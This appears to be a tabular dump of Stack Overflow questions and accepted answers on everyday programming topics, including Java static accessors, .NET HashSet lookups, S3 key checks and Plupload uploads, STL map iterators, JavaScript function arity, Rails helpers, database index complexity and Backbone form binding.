8,166,508 | Are static setter/getters allowed? | <p>I am develoing a Web Application, in that there is a utility method named <code>getData()</code> which I made it as a static.
Until now its fine, but this static method named <code>getData()</code> needs some data from setters and getters.
So now my question is can we make setter/getters as static?</p> | 8,166,574 | 9 | 0 | null | 2011-11-17 11:41:28.987 UTC | 5 | 2019-11-06 10:57:16.647 UTC | 2011-11-18 20:27:24.08 UTC | null | 571,271 | null | 784,597 | null | 1 | 18 | java|web-applications | 71,183 | <p>if your Properties are <code>static</code> then <code>Getters and setters</code> will also be <code>static</code>.. its all depends on You.. </p> |
7,760,364 | How to retrieve actual item from HashSet<T>? | <p>I've read <a href="https://stackoverflow.com/questions/1494812/why-cant-i-retrieve-an-item-from-a-hashset-without-enumeration">this question</a> about why it is not possible, but haven't found a solution to the problem.</p>
<p>I would like to retrieve an item from a .NET <a href="http://msdn.microsoft.com/en-us/library/bb359438.aspx" rel="noreferrer"><code>HashSet<T></code></a>. I'm looking for a method that would have this signature:</p>
<pre><code>/// <summary>
/// Determines if this set contains an item equal to <paramref name="item"/>,
/// according to the comparison mechanism that was used when the set was created.
/// The set is not changed. If the set does contain an item equal to
/// <paramref name="item"/>, then the item from the set is returned.
/// </summary>
bool TryGetItem<T>(T item, out T foundItem);
</code></pre>
<p>Searching the set for an item with such a method would be O(1). The only way to retrieve an item from a <code>HashSet<T></code> is to enumerate all items which is O(n).</p>
<p>I haven't find any workaround to this problem other then making my own <code>HashSet<T></code> or use a <code>Dictionary<K, V></code>. Any other idea?</p>
<p><strong>Note:</strong><br>
I don't want to check if the <code>HashSet<T></code> contains the item. I want to get the reference to the item that is stored in the <code>HashSet<T></code> because I need to update it (without replacing it by another instance). The item I would pass to the <code>TryGetItem</code> would be equal (according to the comparison mechanism that I've passed to the constructor) but it would not be the same reference.</p> | 50,909,955 | 11 | 8 | null | 2011-10-13 21:00:09.437 UTC | 12 | 2020-04-15 05:21:23.177 UTC | 2017-05-23 12:26:23.613 UTC | null | -1 | null | 884,705 | null | 1 | 95 | c#|.net|hashset | 110,432 | <p>What you're asking for was added to <a href="https://github.com/dotnet/corefx/issues/15691" rel="noreferrer">.NET Core a year ago</a>, and was <a href="https://blogs.msdn.microsoft.com/dotnet/2018/04/30/announcing-the-net-framework-4-7-2/" rel="noreferrer">recently added to .NET 4.7.2</a>:</p>
<blockquote>
<p>In .NET Framework 4.7.2 we have added a few APIs to the standard Collection types that will enable new functionality as follows.<br>
- ‘TryGetValue‘ is added to SortedSet and HashSet to match the Try pattern used in other collection types.</p>
</blockquote>
<p>The signature is as follows (found in .NET 4.7.2 and above):</p>
<pre><code> //
// Summary:
// Searches the set for a given value and returns the equal value it finds, if any.
//
// Parameters:
// equalValue:
// The value to search for.
//
// actualValue:
// The value from the set that the search found, or the default value of T when
// the search yielded no match.
//
// Returns:
// A value indicating whether the search was successful.
public bool TryGetValue(T equalValue, out T actualValue);
</code></pre>
<p><strong>P.S</strong>.: In case you're interested, there is <a href="https://github.com/dotnet/corefx/issues/19566" rel="noreferrer">related function they're adding in the future</a> - HashSet.GetOrAdd(T). </p> |
8,303,011 | How to check if a specified key exists in a given S3 bucket using Java | <p>I would like to check if a key exists in a given bucket using Java. I looked at the API but there aren't any methods that are useful. I tried to use <code>getObject</code> but it threw an exception.</p> | 8,304,724 | 16 | 2 | null | 2011-11-28 22:04:59.063 UTC | 24 | 2021-08-03 13:03:21.137 UTC | 2016-04-15 20:43:32.403 UTC | null | 355,274 | null | 964,195 | null | 1 | 115 | java|amazon-web-services|amazon-s3|aws-sdk | 183,910 | <p>Use the jets3t library. Its a lot more easier and robust than the AWS sdk. Using this library you can call, s3service.getObjectDetails(). This will check and retrieve only the details of the object (not the contents) of the object. It will throw a 404 if the object is missing. So you can catch that exception and deal with it in your app.</p>
<p>But in order for this to work, you will need to have ListBucket access for the user on that bucket. Just GetObject access will not work. The reason being, Amazon will prevent you from checking for the presence of the key if you dont have ListBucket access. Just knowing whether a key is present or not, will also suffice for malicious users in some cases. Hence unless they have ListBucket access they will not be able to do so.</p> |
4,462,559 | Difference between .asp and .aspx pages? | <p>I'm new to ASP.NET, and I came across these two different extensions while browsing around. What's the difference between them?</p> | 4,462,594 | 3 | 0 | null | 2010-12-16 15:43:58.977 UTC | 5 | 2017-09-24 16:30:57.87 UTC | 2010-12-16 15:47:23.273 UTC | null | 121,493 | null | 544,209 | null | 1 | 30 | asp.net | 54,704 | <p>One is <a href="http://en.wikipedia.org/wiki/Active_Server_Pages" rel="noreferrer">Classic ASP</a> (<code>.asp</code>) and the other is <a href="http://en.wikipedia.org/wiki/Asp.net" rel="noreferrer">ASP.NET</a> (<code>.aspx</code>).</p>
<p>Note that this is how these extensions are handled by default. You can remap the extensions to be handled in different ways in IIS.</p> |
4,343,220 | Does insertion to STL map invalidate other existing iterator? | <p>I used std::map in STL. Can I use iterator after some other element inserted to the map? Is it still valid?</p> | 4,343,274 | 3 | 0 | null | 2010-12-03 07:00:17.993 UTC | 3 | 2010-12-03 07:15:34.92 UTC | null | null | null | null | 396,383 | null | 1 | 38 | c++|stl | 13,863 | <p>When in doubt as to the semantics of an operation on a container, consult <a href="http://www.sgi.com/tech/stl/Map.html" rel="noreferrer">the documentation</a>:</p>
<blockquote>
<p>Map has the important property that inserting a new element into a <code>map</code> does not invalidate iterators that point to existing elements.</p>
<p>Erasing an element from a <code>map</code> also does not invalidate any iterators, except, of course, for iterators that actually point to the element that is being erased.</p>
</blockquote>
<p>This is taken from the SGI STL documentation. While this documentation technically does not specify the behavior of the C++ Standard Library containers, the differences are generally insignificant, aside from the parts of the STL that are not part of the C++ Standard Library, of course.</p>
<p>The SGI STL documentation is an indispensable reference, especially if you don't have a copy of the C++ Standard.</p> |
4,138,012 | Checks how many arguments a function takes in Javascript? | <p>With <code>arguments.length</code> I can see how many arguments were passed into a function.</p>
<p>But is there a way to determine how many arguments a function can take so I know how many I should pass in?</p> | 4,138,036 | 3 | 0 | null | 2010-11-09 20:06:05.29 UTC | 8 | 2020-03-28 10:59:45.853 UTC | 2014-01-01 15:44:10.143 UTC | null | 709,626 | null | 206,446 | null | 1 | 62 | javascript | 13,491 | <p><code>Function.length</code> will do the job (really weird, in my opinion)</p>
<pre><code>function test( a, b, c ){}
alert( test.length ); // 3
</code></pre>
<p>By the way, this length property is quite useful, take a look at <a href="http://ejohn.org/apps/learn/#87" rel="noreferrer">these slides</a> of John Resig's tutorial on Javascript</p>
<p>EDIT</p>
<p>This method will only work if you have no default value set for the arguments.</p>
<pre><code>function foo(a, b, c){};
console.log(foo.length); // 3
function bar(a = '', b = 0, c = false){};
console.log(bar.length); // 0
</code></pre>
<p>The <code>.length</code> property will give you the count of arguments that require to be set, not the count of arguments a function has.</p> |
4,177,990 | Local SMTP server that can be used for testing and development - won't actually deliver mail | <p>When I'm developing something that sends email, I sometimes don't want to actually send any email, but I do want to see what email would be sent using live data. However, there's not an easy way to do this, as I haven't found a local SMTP server that will receive my mail and then just hold it for me in a queue so I can view it.</p>
<p>In Windows XP and Vista, I used the locally installed SMTP server and just set it to deliver to a smart host that didn't exist - the mail just sat in the "inetput\mailroot\queue" folder forever, and I could view it whenever I wanted to. However, in Windows 7, there's no longer an integrated SMTP server, and though I've found a number of SMTP servers that can be installed locally and relay mail for me, I want one that <strong>won't</strong> relay mail.</p>
<p>Does anybody have suggestions on how to accomplish this functionality? I've considered writing my own, but implementing the whole RFC spec seemed like a big task if there's something out there. Maybe there's an open-source project that I could modify just to write the mail to disk instead of delivering it.</p> | 4,178,033 | 4 | 2 | null | 2010-11-14 14:52:19.39 UTC | 35 | 2021-01-16 13:18:32.253 UTC | null | null | null | null | 8,114 | null | 1 | 91 | windows-7|smtp | 93,332 | <p><a href="https://github.com/changemakerstudios/papercut" rel="noreferrer">Papercut</a> is likely what you want, though it is <strong>only compatible with Windows</strong>.</p> |
4,106,412 | Is there anyway to count how many keys an array has in Php? | <pre><code>Array
(
[0] => 'hello'
[1] => 'there'
[2] =>
[3] =>
[4] => 3
)
// how to get the number 5?
</code></pre> | 4,106,435 | 5 | 1 | null | 2010-11-05 13:47:32.173 UTC | 1 | 2010-11-05 14:09:17.37 UTC | null | null | null | null | 157,416 | null | 1 | 9 | php|arrays|count|key | 39,292 | <p><a href="http://php.net/manual/en/function.count.php" rel="noreferrer">count</a></p>
<pre><code>$arr = Array
(
0 => 'hello',
1 => 'there',
2 => null,
3 => null,
4 => 3,
);
var_dump(count($arr));
</code></pre>
<p>Output:</p>
<blockquote>
<p>int(5)</p>
</blockquote> |
4,639,471 | How do I make Plupload upload directly to Amazon S3? | <p>How do I configure <a href="http://www.plupload.com/" rel="noreferrer">Plupload</a> properly so that it will upload files directly to <a href="http://aws.amazon.com/s3/" rel="noreferrer">Amazon S3</a>?</p> | 4,639,529 | 5 | 1 | null | 2011-01-09 13:46:59.997 UTC | 13 | 2014-07-11 20:34:48.82 UTC | null | null | null | null | 17,498 | null | 1 | 21 | amazon-s3|plupload | 12,482 | <ul>
<li><p>In addition to condictions for bucket, key, and acl, the policy document must contain rules for name, Filename, and success_action_status. For instance:</p>
<pre><code> ["starts-with", "$name", ""],
["starts-with", "$Filename", ""],
["starts-with", "$success_action_status", ""],
</code></pre>
<p><code>Filename</code> is a field that the Flash backend sends, but the HTML5 backend does not.</p></li>
<li><p>The <code>multipart</code> setting must be True, but that is the default these days.</p></li>
<li><p>The <code>multipart_params</code> setting must be a dictionary with the following fields:</p>
<ul>
<li><code>key</code></li>
<li><code>AWSAccessKeyId</code></li>
<li><code>acl = 'private'</code></li>
<li><code>policy</code></li>
<li><code>signature</code></li>
<li><code>success_action_status = '201'</code></li>
</ul>
<p>Setting <code>success_action_status</code> to 201 causes S3 to return an XML document with HTTP status code 201. This is necessary to make the flash backend work. (The flash upload stalls when the response is empty and the code is 200 or 204. It results in an I/O error if the response is a redirect.)</p></li>
<li><p>S3 does not understand chunks, so remove the <code>chunk_size</code> config option.</p></li>
<li><code>unique_names</code> can be either True or False, both work.</li>
</ul> |
4,669,523 | Loop & output content_tags within content_tag in helper | <p>I'm trying a helper method that will output a list of items, to be called like so:</p>
<pre><code>foo_list( ['item_one', link_to( 'item_two', '#' ) ... ] )
</code></pre>
<p>I have written the helper like so after reading <a href="https://stackoverflow.com/questions/3561250/using-helpers-in-rails-3-to-output-html">Using helpers in rails 3 to output html</a>:</p>
<pre><code>def foo_list items
content_tag :ul do
items.collect {|item| content_tag(:li, item)}
end
end
</code></pre>
<p>However I just get an empty UL in that case, if I do this as a test:</p>
<pre><code>def foo_list items
content_tag :ul do
content_tag(:li, 'foo')
end
end
</code></pre>
<p>I get the UL & LI as expected.</p>
<p>I've tried swapping it around a bit doing:</p>
<pre><code>def foo_list items
contents = items.map {|item| content_tag(:li, item)}
content_tag( :ul, contents )
end
</code></pre>
<p>In that case I get the whole list but the LI tags are html escaped (even though the strings are HTML safe). Doing <code>content_tag(:ul, contents.join("\n").html_safe )</code> works but it feels wrong to me and I feel <code>content_tag</code> should work in block mode with a collection somehow.</p> | 4,674,091 | 5 | 0 | null | 2011-01-12 13:53:32.137 UTC | 15 | 2016-09-22 08:06:14.277 UTC | 2017-05-23 10:30:52.59 UTC | null | -1 | null | 6,432 | null | 1 | 30 | ruby-on-rails|ruby-on-rails-3|helper|block | 20,508 | <p>Try this:</p>
<pre><code>def foo_list items
content_tag :ul do
items.collect {|item| concat(content_tag(:li, item))}
end
end
</code></pre> |
4,694,574 | Database indexes and their Big-O notation | <p>I'm trying to understand the performance of database indexes in terms of Big-O notation. Without knowing much about it, I would guess that:</p>
<ul>
<li>Querying on a primary key or unique index will give you a O(1) lookup time.</li>
<li>Querying on a non-unique index will also give a O(1) time, albeit maybe the '1' is slower than for the unique index (?)</li>
<li>Querying on a column without an index will give a O(N) lookup time (full table scan).</li>
</ul>
<p>Is this generally correct ? Will querying on a primary key ever give worse performance than O(1) ? My specific concern is for SQLite, but I'd be interested in knowing to what extent this varies between different databases too. </p> | 4,694,755 | 5 | 0 | null | 2011-01-14 18:31:32.33 UTC | 8 | 2011-01-15 17:45:22.78 UTC | null | null | null | null | 308,097 | null | 1 | 36 | sql|database|sqlite|indexing|big-o | 20,947 | <p>Most relational databases structure indices as B-trees.</p>
<p>If a table has a clustering index, the data pages are stored as the leaf nodes of the B-tree. Essentially, the clustering index becomes the table.</p>
<p>For tables w/o a clustering index, the data pages of the table are stored in a heap. Any non-clustered indices are B-trees where the leaf node of the B-tree identifies a particular page in the heap.</p>
<p>The worst case height of a B-tree is O(log n), and since a search is dependent on height, B-tree lookups run in something like (on the average)</p>
<p>O(log<sub><em>t</em></sub> n)</p>
<p>where t is the minimization factor ( each node must have at least <em>t</em>-1 keys and at most 2*t* -1 keys (e.g., 2*t* children).</p>
<p>That's the way I understand it.</p>
<p>And different database systems, of course, may well use different data structures under the hood.</p>
<p>And if the query does not use an index, of course, then the search is an iteration over the heap or B-tree containing the data pages.</p>
<p>Searches are a little cheaper if the index used can satisfy the query; otherwise, a lookaside to fetch the corresponding datapage in memory is required.</p> |
4,074,636 | Can I bind form inputs to models in Backbone.js without manually tracking blur events? | <p>I have a backbone.js app (<a href="http://www.github.com/juggy/job-board" rel="noreferrer">www.github.com/juggy/job-board</a>) where I want to bind my form inputs directly to my model (a la Sproutcore).</p>
<p>Is it possible with Backbone.js (or other tools) without actually tracking each blur events on the inputs and updating the model manually? This seems like a lot of glue code.</p>
<p>Thanks,<br>
Julien</p> | 4,132,560 | 6 | 0 | null | 2010-11-02 03:00:55.01 UTC | 46 | 2016-07-26 11:09:07.897 UTC | 2010-11-11 11:38:44.727 UTC | null | 20,578 | null | 477,245 | null | 1 | 62 | javascript|jquery|html|backbone.js | 53,566 | <p>I'm not sure how SC does it but probably they listen for events too.</p>
<pre><code>window.SomeView = Backbone.View.extend({
events: {
"change input.content": "contentChanged"
},
initialize: function() {
_.bindAll(this, 'contentChanged');
this.inputContent = this.$('input.content');
},
contentChanged: function(e) {
var input = this.inputContent;
// if you use local storage save
this.model.save({content: input.val()});
// if you send request to server is prob. good idea to set the var and save at the end, in a blur event or in some sync. maintenance timer.
// this.model.set({content: input.val()});
}
});
</code></pre> |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.